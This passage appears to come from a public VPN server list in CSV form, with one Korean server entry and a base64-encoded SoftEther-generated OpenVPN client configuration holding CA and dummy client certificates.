MgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn740024125,221.168.181.218,633726,32,372720828,Korea Republic of,KR,11,82061195,81642,6687549713911,2weeks,asd's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTY4LjE4MS4yMTggOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2